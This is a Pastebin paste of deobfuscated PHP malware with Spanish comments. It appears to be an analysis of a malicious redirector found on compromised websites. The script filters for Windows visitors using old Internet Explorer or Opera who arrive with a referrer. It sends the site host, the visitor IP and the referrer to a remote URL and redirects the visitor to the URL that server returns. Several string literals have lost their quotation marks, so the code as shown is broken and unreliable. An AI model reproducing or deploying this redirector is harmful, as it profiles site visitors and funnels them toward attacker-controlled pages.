Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. define(ADMIN_REDIR_URL,'http://dbc.pinestry.com/rtk/get_url.php');
  2.  
  3. $user_agent_set = isset($_SERVER[HTTP_USER_AGENT])?strtolower($_SERVER[HTTP_USER_AGENT]):'';
  4.  
  5. // Si user agent no contiene la palabra windows
  6. if(strpos($user_agent_set,'windows')===false){
  7.     exit('1z');
  8. }
  9.  
  10. $_1=array('opera/9.80','msie 10','msie 9','msie 8,msie 7','');
  11.  
  12. $_2=false;
  13.  
  14. foreach($_1 as $_3){
  15.     if(strpos($user_agent_set,$_3)!==false){
  16.         $_2=true;
  17.         break;
  18.     }
  19. }
  20.  
  21. if(!$_2){exit('2z');}
  22.  
  23. $_4=isset($_SERVER[HTTP_REFERER])?$_SERVER[HTTP_REFERER]:'';
  24.  
  25. if(empty($_4)){exit('3z');}
  26.  
  27. $_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
  28. $_SERVER[HTTP_HOST]=str_replace(www.,,$_SERVER[HTTP_HOST]);
  29.  
  30. $_5='d=' .urlencode($_SERVER['HTTP_HOST']) .':' .urlencode($_SERVER['REMOTE_ADDR'] .':' .$_4);
  31.  
  32. $_6='e';
  33. $_7=l__0($_5);
  34.  
  35. // round(456) - round(456) + round(1656) - round(1656) == 456 - 456 + 1656 - 1656 = 0
  36. // Siempre 0, por lo que siempre ejecutamos mt_rand(3329) y el valor devuelto no es asignado
  37. // por lo que podemos ignorar esta instruccion
  38. (round(0+456)-round(0+228+228)+round(0+552+552+552)-round(0+828+828))?strval($_5,$_3,$_8):mt_rand(round(0+456),round(0+665.8+665.8+665.8+665.8+665.8));
  39.  
  40. // Comprobamos el resultado devuelto por l__0
  41. // si es 'BAD', la pagina termina aqui
  42. if($_7==BAD){
  43.     exit();
  44. }
  45.  
  46. // Si el resultado anterior es una URL, somos redirigido
  47. // hacia la misma
  48. header(Location:  .$_7);